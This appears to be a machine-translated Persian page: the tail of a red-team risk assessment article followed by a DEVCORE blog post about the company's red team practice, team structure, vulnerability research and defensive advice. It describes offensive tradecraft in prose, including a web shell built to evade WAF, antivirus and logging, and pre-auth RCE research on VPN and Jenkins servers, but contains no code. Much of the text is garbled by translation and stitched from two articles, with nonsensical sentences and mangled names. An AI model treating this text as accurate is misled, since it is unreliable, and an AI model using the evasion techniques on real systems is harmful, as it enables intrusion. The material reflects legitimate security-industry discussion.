5 AD عمده آسیب پذیری ها وصله نشده پیوست A.12.6.1 مدیریت آسیب پذیری فنی
6 منبع IP بدون محدودیت ضمیمه A.9.4. 1 محدودیت دسترسی به سیستم
7 محافظت از وب سایت ثانویه کافی نیست ضمیمه A.14.1.1 تجزیه و تحلیل نیازهای امنیتی اطلاعات و مشخصات
8 VPN دسترسی به بخش داخلی شبکه سیستم VPN ضمیمه A.13.1.3 جداسازی شبکه

علاوه بر این ، از نتایج تمرین می توان دریافت که احتمال مورد اول 1 و مورد دوم جدول زیر وجود دارد که تأیید می شود و در مسیر دارایی های اصلی مهاجم قرار دارد ، بنابراین تأثیر و احتمال باید توسط نسخه اصلی 2 بهبود یابد ۳- این باعث می شود که مقدار ریسک ماده یک از ریسک قابل قبول تعیین شده توسط شرکت فراتر رود (27) ؛ علاوه بر این ، اگرچه در نتایج تمرین مشخص است سیستم وظیفه داخلی ماده 2 به ناچار موفقیت آمیز است و به طور غیر مستقیم هسته را کنترل می کند. سیستم دارایی ، ارزش ریسک هنوز به مراتب پایین تر از ریسکی است که شرکت با آن سر و کار خواهد داشت ، این مشکل کمترین ارزش استراتژیک ذکر شده در بالا است ، بنابراین ما پیشنهاد می کنیم که بتواند دارایی های اصلی را در مسیر حفاری تیم قرمز بدست آورد. موارد خطر را باید با خطرات غیرقابل قبول رفتار کرد .

مورد نام دارایی ارزش تهدید ضعف ضربه احتمال احتمال ریسک
1 سیستم نسخه بروزرسانی 3 دسترسی غیرمجاز حرکت جانبی 3 3 27
2 سیستم وظیفه داخلی [19659045] 1 تهاجم سیستم قادر به پچ 3 3 9

سرانجام ، مرجع نتیجه گیری شائولین در سمینار

ماهیت تمرین تیم قرمز این نیست که به شما بگوید چقدر شکننده است ، شما می توانید وقتی که آدمهای بد واقع می شوند ، تنها بمانید.

امیدوارم که شما بتوانید راه هایی برای بهبود مداوم استراتژی دفاعی خود و ایجاد امنیت بیشتر در تجارت خود پیدا کنید.

من در یک سازمان بزرگ به عنوان دریافت کننده امنیت خدمت کرده ام ، به همین دلیل در زندگی خود رنج کشیدم ، متحمل شده ام و شک کردم.
امیدوارم که این شرکت از طریق انرژی فنی نزدیک به تهدید واقعی ، به شرکتها کمک کند تا استراتژی های دفاعی مؤثر را پیدا کنند و به افرادی که در صنعت امنیت سرمایه گذاری می کنند ، اجازه دهند به سمت یک زندگی سالم و شاد حرکت کنند.
              

.

"DEVCORE تکامل تیم قرمز و مراحل بعدی | DEVCORE Daveale"

DEVCORE تکامل تیم قرمز و مراحل بعدی | DEVCORE Daveale

پیش شماره

"حفاری تیم قرمز" به تدریج در سال های اخیر به ذکر است ، و برخی از تولید کنندگان شروع به ارائه خدمات تیم قرمز. با این حال ، در مورد نحوه انجام این کار تیم قرمز در تایوان ، افراد نسبتاً کمی از آن به صورت عمومی به اشتراک می گذارند به عنوان اولین شرکتی که تیم قرمز در تایوان را تمرین می کند ، می خواهم دلیل این موضوع را که باید براساس تجربه واقعی در طول دو سال گذشته قرمز باشیم ، به اشتراک بگذارم. تیم ، مشکلاتی که با آن روبرو هستیم و خصوصیاتی که فکر می کنیم اعضای تیم سرخ باید در قلب ما داشته باشند. سرانجام مسئله امنیت شرکت ها را که در این مرحله دیده ایم به اشتراک می گذاریم .امیدواریم که در آینده نیز بتوانیم به شرکتها کمک کنیم تا این مشکلات را از طریق دریل تیم قرمز پر کنند.

این موضوعی است که من در کنفرانس DEVCORE 2019 به اشتراک گذاشتم. برخی از مشاوره های قبل از سمینارها که می خواستم مطالب آن را بشنوم ، برخی از دوستان امیدوارند که بتوانیم تیم قرمز DEVCORE و همچنین روش ها و موارد عملیاتی را معرفی کنیم ، بنابراین من مطالبی را تهیه کردم و آنها را در این گفتار سازماندهی کردم. در زیر لینک اسلاید وجود دارد که برخی از آنها برای عموم آزاد نیست ، لطفاً بخاطر اشتراک در کارگاه ، مرا ببخشید.

DEVCORE تکامل تیم قرمز و مرحله بعدی – شائولین (DEVCORE CONF 2019)

چرا تیم قرمز تمرین می کند؟

با یک کلام ، ما به تدریج متوجه شدیم: برای شرکت های بزرگ ، آزمایش نفوذ خالص مؤثر نیست . از صدها تجربه آزمایش نفوذ گذشته ، ما اغلب می توانیم در مرحله تحقیق اولیه ضعف های جدی را در مرز سازمانی بیابیم و سپس وارد شبکه داخلی شویم تا اهداف اصلی حملات دفاعی لایه به لایه را دور بزنیم. هرچه شرکت بزرگتر باشد ، این وضعیت واضح تر است ، زیرا آنها معمولاً دارای تعداد زیادی وب سایت خارجی و دستگاه های شبکه هستند که هر یک از آنها ممکن است ریسک پذیر باشد حتی اگر محافظت از وب سایت اصلی کامل باشد ، هکر فقط باید آن را از این تعداد زیادی هدف پیدا کند. یک مشکل می تواند به بنگاه اقتصادی آسیب برساند. امروزه ، حتی اگر شرکت آزمایش نفوذ در هر سرویس را بطور مستقل انجام دهد ، در دنیای واقعی ، هنوز هم حمله به خدمات شخص ثالث ، زنجیره های عرضه فروشنده و مهندسی اجتماعی امکان پذیر است. بنابراین می توانید منابع زیادی را برای آزمایش شرط بندی کنید و نتیجه آن یک حادثه امنیتی است.

بنابراین ، ما یک تمرین تیم قرمز را راه اندازی کردیم ، به این امید که به شرکتها کمک کنیم مکانهای شکننده موجود در ساختار کلی را از طریق دریل های واقعی پیدا کنند. بنابراین ، این سرویس به [امنیتکلیشرکت مربوط است ، و دیگر فقط یک وب سایت واحد نیست.

هدف تمرین تیم قرمز معمولاً یک وضعیت است. برای مثال: آیا راهی برای هکر وجود دارد که بتواند پول عمومی یا حتی شماره کارت اعتباری را بدست آورد؟ تیم سرخ در حین تمرین ، تمام تلاش خود را انجام می دهد تا تأیید کند که احتمالاً شرایطی که شرکت از آن مراقبت می کند اتفاق می افتد. در مورد مثال همین حالا ، ما راهی برای پیدا کردن بانک اطلاعاتی برای ذخیره این پیام ها پیدا خواهیم کرد تا تأیید کنیم که آیا راهی برای دریافت سرمایه و شماره کارت وجود دارد یا خیر. به طور کلی ، قسمت شماره کارت رمزگذاری می شود ، بنابراین پس از گرفتن بانک اطلاعاتی ، ما نیز سعی خواهیم کرد که آیا راهی برای بازیابی این شماره کارت ها وجود دارد یا خیر. بعضی اوقات علاوه بر پیدا کردن روش ترمیم ، حتی مسیرهای دیگری را نیز در این فرآیند برای به دست آوردن شماره کارت پیدا خواهیم کرد.ممکن است که اطلاعات اشکال زدایی مهندس شماره کارت را ثبت کند ، یا پرونده تهیه نسخه پشتیبان از شماره کارت کامل در NAS برخوردار باشد ، این حتی ممکن است فرد مسئول باشد. اطلاعاتی که نمی دانید همچنین یک نقطه کور برای ارزیابی ریسک برای شرکتهاست.

در این مرحله ، مزایای تمرینات تیم قرمز مشهود است. تیم قرمز می تواند به این شرکت کمک کند تا خطرات احتمالی را به روشی جامع ارزیابی کند.این دیگر فقط یک آزمایش تک محور برای یک وب سایت خاص نیست. تیم سرخ علاوه بر پیدا کردن نقاط ضعف ، بیشتر به کمک به شرکتها می پردازد امکان سنجی تهاجم ، برای تسهیل شرکتها در ارزیابی خطرات و توسعه استراتژی های دفاعی. سرانجام ، تیم سرخ اغلب می تواند تشخیص دهد که ارزیابی ریسک سازمانی از کجا نادیده گرفته شده است به عنوان مثال ، نسخه پشتیبان تهیه شده از NAS که در مثال قبلی ذکر شد ممکن است سروری باشد که در سیستم اصلی لیست نشده است اما کاملاً مهم است. این قطعه همچنین جایی است که DEVCORE طی چند سال گذشته واقعاً به مشتریان کمک کرده است.

DEVCORE تلفیقی تیم قرمز

اساساً ، اعضای تیم قرمز DEVCORE قادر به استقلال هستند ، و تفاوت قابل توجهی بین اعضا در اجرای پروژه های عمومی وجود ندارد. اما با این شرط که دامنه تمرین نسبتاً زیاد باشد ، تقسیم کار آشکار خواهد شد و هر گروه نیز برای افزایش کارایی تیم بر مهارتها متمرکز خواهند شد. در حال حاضر ، مجموعه ما به پنج گروه تقسیم می شود:

وظایف مختصر معرفی به شرح زیر است:

  • اطلاعاتی ، مسئول تحقیقات اطلاعاتی ، تمام اطلاعات مربوط به هدف از جمله شبکه IP را جمع آوری می کنند. بخش ها ، فن آوری های مورد استفاده توسط وب سایت ها ، و حتی کلمات عبور حساب به بیرون درز کرده اند.
  • نیروی ویژه (حمله ویژه) ، توانایی حمله ای نسبتاً قوی دارد ، که عمدتاً مسئول شکستن اوضاع فعلی است ، مانند حمله به دژ اول ، گرفتن یک بخش شبکه دیگر یا امتیاز میزبان.
  • ارتش منظم (منظم) ، مسئول به دست گرفتن موقعیت و جابجایی کل میدان جنگ ، تلاش برای حرکت جانبی ، تا آنجا که ممکن است پایگاه های زیادی ایجاد کند تا تیم حمله ویژه بتواند منابع بیشتری برای حرکت به سمت هدف ماموریت داشته باشد.
  • سوپر (پشتیبانی) ، کار مهم لجستیک ، حفظ در دسترس بودن پایگاه ، و همچنین مشاهده کل وضعیت نبرد ، واضح ترین وضعیت جهانی.
  • تحقیق (تحقیق) ، معمولاً تحقیق در مورد سلاح های مختلفی که در تیم سرخ مورد استفاده قرار می گیرد.وقتی دریل با سیستمی با ارزش استراتژیک روبرو می شود ، برای معدن 0 روز سرمایه گذاری می کند.

DEVCORE Red Team Evolution

تکامل به اصطلاح برای مواجهه با مشکلات و یافتن راه هایی برای تقویت و حل آن است ، پس با چه مشکلاتی روبرو شده ایم؟

چگونه می توان نقطه دستیابی به موفقیت را پیدا کرد؟

این رایج ترین مشکلی است که همه با آن روبرو می شوند. برای شروع کار همه چیز دشوار است. چگونه می توان اولین نقطه دستیابی را پیدا کرد؟ این مشکل در تمرین تیم قرمز دشوارتر است ، زیرا شرکت های بزرگ در حال حاضر در آزمایش و حفاظت از امنیت سرمایه گذاری کرده اند. چگونه می توانیم از لایه های دفاع ضعف پیدا کنیم؟ برای اینکه بتوانیم نقاط ضعفی را که دیگران نمی توانند پیدا کنند ، آزمایش و تفکر باید با دیگران متفاوت باشد. بنابراین ، ما در تحقیق ، حمله ویژه ، گروه تحقیق سرمایه گذاری می کنیم: بخش تحقیق روشها و منابع تحقیق مختلف را مورد مطالعه قرار داده و ابزارهای خود را توسعه می دهد تا تحقیقات کارآمدتر شود ؛ تیم حمله ویژه ما همچنین دائما توانایی حمله خود را تقویت می کند ؛ مهمترین ما از محققان خواسته ایم كه در مورد اهدافی كه اغلب با آنها روبرو می شویم ، تحقیق كنند و سلاحها یا روشهایی را كه تیم سرخ از آنها استفاده می كند ، توسعه دهند.

این به خصوص برای به اشتراک گذاشتن نتایج حاصل از این گروه تحقیقاتی در نظر گرفته شده است ، زیرا ما به 0 روز معدن برخی از زیرساخت ها می رویم ، پس از افشای مسئولانه ، از 1 روز تمرین استفاده خواهیم کرد ، این مدل در خارج از کشور است. تیم سرخ بسیار نادر است. به منظور کمک به تیم سرخ ، معمولاً جهت تحقیق معمولی تیم تحقیق برای یافتن خدمات متداولی است که بنگاهها می توانند به آنها دسترسی پیدا کنند ، مانند سرور نامه ، جنکینز ، SSL VPN. ضعفی که ما به دنبال آن هستیم این است که ما نیازی به احراز هویت نداریم و به کنترل سرور دسترسی نداریم در حال حاضر ، Exim ، Jenkins ، Palo Alto GlobalProtect ، FortiGate و Pulse Secure در دسترس هستند. این نتایج از نظر استراتژیک بسیار بالایی در تمرین دارند و حتی می توان گفت که این سرورها می توانند تقریبا نیمی از شرکت را به طور غیر مستقیم کنترل کنند.

و این نتایج تحقیق به طور غیر منتظره توسط کشورهای خارجی ذکر شد:

  • PortSwigger قهرمان ده فناوری برتر وب سایت حمله به مدت دو سال متوالی شد (2017 ، 2018)
  • به مدت سه سال متوالی توسط DEFCON و Black Hat USA منتشر شد. (2017 ، 2018 ، 2019)
  • اولین جایزه PWNIE AWARD در تایوان: Pwnie برای بهترین اشکال سمت سرور (کمبود سرور 2010) (فینالیست 2018 ، جایزه 2019)

ده ها هزار نفر هدف چگونه می توان از "تیم" قرمز سود برد؟

در گذشته ، نتایج تحقیقات ، حمله ویژه و گروه تحقیق به نقاط ورودی رسید. سوال بعدی این است که در تجربه گذشته ما ، تمرینات زیادی وجود داشته است که از ده ها هزار کامپیوتر انجام شده است ، ما چه کاری می توانیم انجام دهیم تا از مزایای عملیات تیم استفاده کنیم؟ این مشکل به دلیل سفارشات [بزرگی] است ، اگر تنها ده سایت بتوانید اهداف را آسان پیدا کنید ، اما وقتی سایت های بیشتری وجود داشته باشد ، برچسب زدن اهداف مورد نظر برای حمله به ما دشوار است. یا وقتی همه می خواهند همگام سازی پیشرفت ، همه پیشرفت زیادی داشته باشند ، داشتن مکانی برای اشتراک اطلاعات سرور دشوار است ، تا دیگران بتوانند کار را ادامه دهند.

در گذشته ، ما از یک سیستم مشابه Trello برای ضبط وضعیت هر سرور استفاده می کردیم که در صورت کوچک بودن دامنه ، استفاده راحت و آسان است ، اما وقتی مقدار داده بزرگ است ، کار با آن دشوار است.

بنابراین ، ما سیستم خودمان را برای حل مشکلات مرتبط توسعه داده ایم. برخی از اصول لازم در سیستم طراحی ما را برای مرجع خود به اشتراک بگذارید:

  • لیست سرورها را می توان با برچسب ، مرتب سازی ، جستجوی متن کامل جستجو کرد ، و سرور با قدرت شلیک باید به طور خودکار در مکان آشکار قابل مشاهده باشد ، از بین بردن نیاز به جستجوی اضافی.
  • لازم است به طور خودکار یک نمودار روابط میزبان ایجاد شود تا تیم بتواند در مورد وضعیت نبرد بحث کند.
  • اطلاعات ساختاری را به جای رشته های خالص گذشته مانند اطلاعات خدماتی که توسط این دستگاه باز می شود ، نحوه گرفتن پوسته و رمز ورود به حساب را ذخیره کنید. راحت و سریع برای روشن شدن پیشرفت فعلی و تجزیه و تحلیل پس از مرگ.
  • یک کنسول پوسته ایجاد کنید تا اعضا بتوانند با یک کلیک عملیات پوسته را انجام دهند.

یک مشکل دیگر وجود دارد. تعداد زیادی از اعضای تیم قرمز وجود دارند و میدان نبرد پراکنده است. اگر می خواهید فرایندی که ما انجام داده ایم را ثبت کنید ، پیچیده نیست؟ بنابراین ما افزونه ای نیز برای ثبت ترافیک حمله وب نوشتیم و همچنین نتایج دستورات و پشتیبان سرور خود را در پوسته ضبط کردیم که حتی از جزئیات دسترسی مشتری_blog و bash_history نیز جزئی تر است. علاوه بر این ، برای هر سرور هدف ، ما نیز رفتارهای مهمی را که در بالا انجام داده ایم ، ضبط خواهیم کرد ، مانند: چه تنظیماتی تغییر کرده است ، چه پرونده هایی اضافه شده یا حذف شده اند و ما ردیابی مشتری را نیز داریم. بسیار دشوار است که چنین رکورد سفارشی سازی کنید ، برای آن دسته از هکرهایی که عادت به راه حل خودکار دارند ، ما اصرار داریم که چنین سابقه ای را تهیه کنیم حتی اگر مشتری درخواست آن را نکند ، هر مرحله را با جزئیات ثبت می کنیم. در صورت نیاز

آیا شرکت تجهیزات دفاعی یا مکانیسم دارد؟

حل مسئله دستیابی به موفقیت و همکاری چند نفره است و در مرحله بعد با مشکل سوم روبرو خواهیم شد ، شرکت دارای اقدامات محافظتی است! در این سمینار چند مورد از دفاع واقعی را ارائه کردم که نشان می دهد علاوه بر تجهیزات دفاعی مشترک ، تجربه زیادی در زمینه سازوکارهای دفاعی داریم. ما ویژگی های هر دفاع را برای دور زدن یا استفاده بررسی خواهیم کرد و حتی برای جلوگیری از شناسایی ، ابزارهایی را نیز می نویسیم. اخیراً ، کلاسیک این است که این تیم یک پوسته وب را روی سرور ویندوز انجام داده است که قادر به دریافت WAF نیست ، آنتی ویروس این نرم افزار نمی تواند آن را ضبط کند و هیچ سابقه eventlog وجود ندارد. با این ابزار می توانیم سکوت کنیم اطلاعات مورد نیاز خود را روی سرور جمع آوری کنیم. البته ، ما شکست ناپذیر نیستیم و برخی از مکانیسم های تشخیص سطح پایین هنوز قادر به دور زدن نیستند. در اینجا من به طور مستقیم در مورد تکامل هنجارهای فعلی ما صحبت می کنم: در مواجهه با مکانیسم دفاع سرور ، می توانیم پنهان شویم ، باید کاملاً پنهان باشد ، نمی تواند پنهان شود ، فرآیند را بهینه کند ، زمان را برای انجام کارها کوتاه کند ، مانند کنترل می کند تا طی پنج دقیقه اطلاعات اصلی را بدست آورد ، حتی اگر توسط دیگران گرفتار شود ، فرقی نمی کند ، زیرا اطلاعات بدست آمده نیز بدست می آید.

ویژگی اعضای تیم سرخ

برای اینکه بتوانند در تمرینات تیم قرمز نتایج برجسته ای داشته باشند ، فکر می کنم صفت عضو یک نکته کلیدی است. در اینجا چند مورد از خصوصیاتی که من از طرف شرکای تیم قرمز مشاهده کرده ام برای به اشتراک گذاشتن با شما ذکر شده است ، اگر در آینده برنامه ای برای کار در تیم قرمز وجود دارد یا اگر این شرکت در حال برنامه ریزی برای شروع یک تیم قرمز داخلی است ، ممکن است این خصوصیات به عنوان مرجع مورد استفاده قرار گیرد.

تخیل

اولین کسی تخیل است ، چرا این صفت است ، زیرا اکنون آگاهی از امنیت به آرامی تقویت می شود ، فرصتی نیست که برای نبرد با جهان به خصوص به تمرینات تیم قرمز اعتماد کنید و به یک ترفند اعتماد کرد. کار کن برای اینکه مثمر ثمر باشید باید یک ترکیب هوشمندانه یا دور زدن داشته باشید تا فرصتی داشته باشید.

به عنوان مثال ، پس از انتشار جزئیات Pulse Secure VPN ، برخی از افراد در توییتر گفتند که از این کلید برای نقطه تزریق استدلال RCE استفاده شده است ، وی آن را پیدا کرد ، اما نتوانست از آن استفاده کند ، بنابراین رسمی نیز بدون تعمیر درست است که ما در همان مکان پیدا کردیم ، اما یک پارامتر قابل استفاده پیدا کردیم و با ویژگی های Perl مطابقت داشتیم تا RCE را تنظیم کنیم.
نمونه دیگر بخشی از تحقیقات جنکینز است. پس از دور زدن احراز هویت ، متوجه شدیم که یک تابع در حال بررسی این است که نحو ورودی کاربر نادرست است. چگونه سرور تشخیص می دهد که نحو نادرست است؟ ساده ترین راه این است که مستقیماً به کامپایل و مشاهده بروید ، می توانید با موفقیت کامپایل کنید تا نحو صحیح را نشان دهید. بنابراین ما روشهایی را که می توان در دستور "مرحله تلفیقی" اجرا کرد ، بررسی کردیم و به سرور این امکان را می دهیم که دستورالعمل های ما را اجرا کند در حالی که سعی می کند نحو صحیح را تشخیص دهد. این تکنیک در گذشته ذکر نشده است و یک مورد کلاسیک استفاده از تخیل است.

در مورد تخیل ، در واقع یک فرض پنهان وجود دارد: مهارت های اساسی کافی است. من همیشه فکر کرده ام که تخیل ترکیبی از دانش است ، به عنوان مثال ، فقط دو مثال: اگر ویژگی های نحو پرل و دانش برنامه نویسی متا را نمی دانید ، موفقیت در RCE غیرممکن است. با مهارت های اساسی و شجاعت به لنوو و تلاش ، مطمئناً برای یک ژنرال تیم قرمز ضروری است. در مورد میزان مهارت های اساسی تا چه اندازه باید بدانیم ، برای ما ، وقتی از یک حفره صحبت می کنیم ، همزمان از یک درخت پرش خواهیم کرد: علت چیست؟ موارد مرتبط ، آسیب پذیری و روش های بای پس از آن همه پرش می شوند. من وقتی فکر می کنم قبلاً کوچک باشد می توانم این کار را انجام دهم.

تعقیب فن آوری جدید

فن آوری جدید را تعقیب خواهد کرد ، به نظر می رسد که استاندارد محافل امنیتی است ، دنیای ما فقط OWASP TOP 10 نیست. واقع بینانه تر ، اگر فقط به این دانش تکیه کنید ، تأثیری که تیم قرمز می تواند بازی کند چندان عالی نیست. به اشتراک گذاشتن روشی که اعضای خود را می بینم ، برای آنها ، تماشای فناوری جدید یک عادت روزمره است ، اگر اسلایدهای سمینار Zian منتشر شود ، آنها جلب می کنند. علاقه مند به فن آوری جدید است ، بازی دستی خواهد بود ، و حتی به عنوان ابزار نوشته شده است ، بسیاری از ابزارهای داخلی ما در سکوت تقویت شده اند. نکته دیگر این است که هدف نهایی تماشای فناوریهای جدید استفاده از آنها و حل مشکلات جدید با فناوریهای جدید است.مثلا فرصتهایی برای یافتن برخی از پیشرفتها وجود دارد. به عنوان مثال ، ما در ماه آگوست امسال روش حمله HTTP Desync را در سمینار BlackHat مشاهده کردیم ، پس از بازگشت به چین ، ما در آن زمان از این دانش در این پروژه استفاده کردیم ، بگذارید اهداف حمله بیشتری داشته باشیم! (این تکنیک بسیار جالب است. بعد از اینکه سرور را آلوده می کنیم ، با مرور صفحه وب مشتری جاوا اسکریپت خود را به طور تصادفی اجرا خواهیم کرد. هیچ شرایط خاصی لازم نیست. علاقه مند به مطالعه آن هستید: ص)

باور کنید … و اصرار کنید

سرانجام ، آنچه من می خواهم به اشتراک بگذارم این است که در روند تحقیق یا آزمایش ، بعضی اوقات زمان زیادی طول می کشد اما نتیجه ای ندارد ، اما اگر فرصتی برای ارزیابی دارید ، پس به خودتان ایمان داشته باشید و وقت خود را برای این کار بگیرید!
نمونه ای از صرف یک ماه داریم ، که قبلاً مطالعه ترک شماره های شبه تصادفی IDA Pro بود. این رویداد به طور غیر منتظره ای در دایره دودویی شناخته شده بود و حتی برخی افراد این رویداد را تنبلی کردند. اگر ما یک رمز ورود برای نصب نداریم و امکان نصب IDA PRO را داریم ، این تحقیق به بررسی است؟ سرانجام ، ما فهمیدیم که چگونه الگوریتم ژنراتور رمزنگاری IDA را معکوس کنیم ، با دانستن اینکه از چه شخصیت هایی با عدد شبه تصادفی استفاده می شود و ترتیب صحیح آن. مشکل این موضوع نه تنها فنی است ، بلکه حدس زدن ترتیب کاراکتر تنظیم شده توسط عدد شبه تصادفی بلکه حدس زدن الگوریتم استفاده شده توسط طرف مقابل (حداقل 88). و هر بار که ترکیبی از جایگشت را تأیید کردیم ، نیمی از روز و 100 گیگابایت فضا طول می کشد ، و هزینه تجمعی زیاد است. با این حال ، ما معتقدیم که این فرصتی برای موفقیت بر اساس تجربه است و منابع شرط بندی همچنان ادامه داشته است ، و سرانجام نتیجه بسیار خوبی حاصل شد.

این یک تشویق نیست ، بلکه یک کیفیت روانی است: وقتی با کارت روبرو شوید ، قضاوت کافی وجود دارد ، می تواند قاطعانه راهنمایی شود ، اگر جهت صحیح باشد ، باید شجاعت ادامه پیدا کند.

روند محافظت از امنیت و مرحله بعدی تیم ملی سرخ

قسمت آخر مقاله در مورد آینده تمرین تیم قرمز است و همچنین محور این مقاله است که در آینده ، در آینده چه مشکلاتی را می توانیم حل کنیم؟

به عنوان تولید کننده پیشرو دریل های تیم قرمز ، میزان موفقیت ورود ما به اینترانت تایوان از سال 2017 100٪ است. ما بیش از 60٪ دریل ها از امتیازات مدیریت AD برخوردار هستیم ، این موارد شامل مواردی نیست که توسط AD مدیریت نشود. فهمیدیم که بعد از ورود به اینترانت معمولاً مانعی وجود ندارد ، دقیقاً مثل کارمند داخلی ، می توانید با گفتن سلام وارد اتاق دستگاه شوید. من می خواهم به همه یادآوری کنم که ورود به تیم حمله برتر دشوار نیست. اگر شما به یک هکر برتر یا 0day بپردازید ، آیا این شرکت آماده است؟ این مشکلی است که در این مرحله پیدا کردیم!

وقتی صحبت از مقاومت در برابر حملات می شود ، معمولاً سه جنبه وجود دارد ، یعنی "پیشگیری" ، "تشخیص" و "پاسخ". به طور کلی ، شرکت ها در بخش "پیشگیری" کامل تر هستند ، و تسلط بالاتری نسبت به نقاط ضعف شناخته شده دارند. مشکلات رایج امروز در " تشخیص " و " پاسخ " ، آیا شرکت ها می توانند دریابند که شخصی به شما حمله می کند؟ یا آیا می دانید بلافاصله پس از حمله حمله می کنید و منبع را ریشه می گیرید؟ دلیل این که این دو چیز نسبتاً بد نیستند به این دلیل نیست که شرکت منابع در آن سرمایه گذاری نکرده است بلکه تأیید آن برای شرکت بسیار سخت است.مشخص داشتن یک استاندارد برای تعیین اینکه آیا مکانیسم فعلی موثر است یا اینکه تجهیزات خریداری کرده است کار دشواری است. نقش ، حتی اگر یک تیم آبی وجود داشته باشد ، معمولاً SOP پاسخی کاملی ایجاد نکند ، از این گذشته ، حمله هک کردن هر روز اتفاق نخواهد افتاد.

بنابراین ، ما امیدواریم که شرکت ها بتوانند وقایع حمله را از تمرینات تیم قرمز آموزش و تشخیص دهند. یا ، ماهیت تمرین تیم قرمز این است که به شرکت کمک کند نقاط ضعف خود را از طریق حملات واقعی درک کند. در گذشته ، سرویس تیم سرخ تایوان بر نقاط ضعف یافتن کل شرکت تأکید می کند.بررسی از این حفره ها مهم است.با این حال ، وقتی به سازمان هایی می پردازیم که غالباً 0 روزه مانند ما پیدا می کنند ، توانایی تشخیص و پاسخگویی آخرین مورد برای نجات شماست. مهارت های سخت زندگی. به بیان دیگر ، لیست کامل ترین استراتژیها و روشهای فنی حمله در جهان MITER ATT & CK Framework است.یک حمله که برای شرکت ها مضر است ، معمولاً زنجیره ای از حملات است که از بسیاری از روشهای حمله تشکیل شده است. ضعف اولیه فقط کمتر از 10٪ از کل زنجیره حمله است اگر شرکت بتواند بر روی قابلیت تشخیص 90٪ دیگر شرط ببندد و هر یک از لینک ها را مسدود کند ، این فرصت را خواهد داشت تا کل حمله را شکست داده و از آن محافظت کند. دارایی

گفته می شود علاوه بر مشخص کردن قابلیت های برتر سطح شرکتها ، تیم سرخ ما تجربیات و مهارتهای زیادی را در نفوذ درون شبکه ها به وجود آورده است.ما خوشحالیم که به شرکتها کمک کنیم تا قابلیت شناسایی و پاسخ واقعی خود را از طریق دریلها تقویت کنند. . به تدریج ، تیم قرمز آینده به آرامی روی تمرینات تهاجمی و دفاعی تیم آبی تمرکز خواهد کرد. تأکید بر توسعه استراتژی ها برای کمک به شرکت ها در درک دفاع از دفاع کمتری برای بهبود خواهد بود. تیم سرخ آینده همچنین باید بر تجربه برخورد با مکانیسم دفاعی تأکید کند ، محدودیت های دفاعی را بشناسد و سپس راه هایی برای پیدا کردن نقاط کور با تجهیزات ناکافی یا پوشش ناکافی پیدا کند.

در پایان ، ما همچنین برخی از برنامه های پیشنهادی برای شرکت هایی که در برابر امنیت امنیتی بالغ تر هستند ، داریم: اجرای تدریجی می تواند کیفیت امنیت را بهبود بخشد. (حداقل از تجربه ما ، شرکت هایی که دارای این مفاهیم هستند ، برای دستیابی به هدف حمله به خصوص دشوار هستند)

  • اگر امنیت شبکه خارجی سال هاست که سرمایه گذاری شده است ، فکر کنید "" اگر هکر در حال حاضر در شبکه است استراتژی دفاعی
  • مهمترین اطلاعاتی را که می توان فاش کرد ، شمارش می کند ، با شروع از این مکان ها مفهوم Zero Trust
  • نیازمند کادر داخلی داخلی (تیم آبی) است
  • از طریق همکاری با تیم قرمز با تجربه ، بازرسی کلی از نقطه کور دفاع

postcript

محتوای این سمینار در اینجا به پایان رسیده است. نوشته شده در پایان آخرین ، پر از تشکر است. در حقیقت ، مهم نیست که تست نفوذ یا تمرین تیم قرمز باشد ، در ابتدا برای همه قابل قبول نیست و ارزش آزمون چیزی نیست که ما حرف آخر را بزنیم. در طول راه ، من به تدریج احساس کردم که برخی از مردم شروع به اعتقاد ما کردند ، از مقایسه های اولیه با مهندسین و مدیران شبکه گرفته تا ذهن بیشتر و بیشتر ، مشتریانی که می خواهند مشکل را دریابند پر از تضاد هستند. از اعتمادشان بسیار سپاسگزارم و به دلیل همین اعتماد متقابل توانستیم در زمان صرفه جویی کنیم و به بازده بهتری دست پیدا کنیم. کاملاً مشاهده کنید که صنعت اطلاعات تایوان در جهت مثبت با این مشکل روبرو است وجود شکافی وجود دارد.چون چیزی که دیده نمی شود دیده نمی شود و بهتر است بدانید که مشکلی وجود دارد. بنابراین جمله زیر را در انتهای سخنان گذاشتم: " ذات تمرین تیم قرمز این نیست که به شما بگویم چقدر شکننده است ، زیرا وقتی آدم های بد واقع می شوند ، می توانید تنها باشید ، امیدوارم که تعداد بیشتری از افراد مثبت باشند. مشکل را درمان کنید و به ارزشی که می خواهیم برسیم برسید.

2019 DEVCORE CONF ، از شما برای همکاری دوستان در گذشته تشکر می کنم تا اجازه دهید تیم قرمز DEVCORE تکامل یابد ، امیدوارم در مرحله بعدی شما را داشته باشم ، سال آینده شما را خواهیم دید :))

من عاشق فناوری اطلاعات هستم و دوست دارم متفاوت از دیگران باشم. شخصی که دارای کمی عقب ماندگی ذهنی است ، انتظار دارد از قدرت اطلاعات برای کمک به جهان استفاده کند.
              

.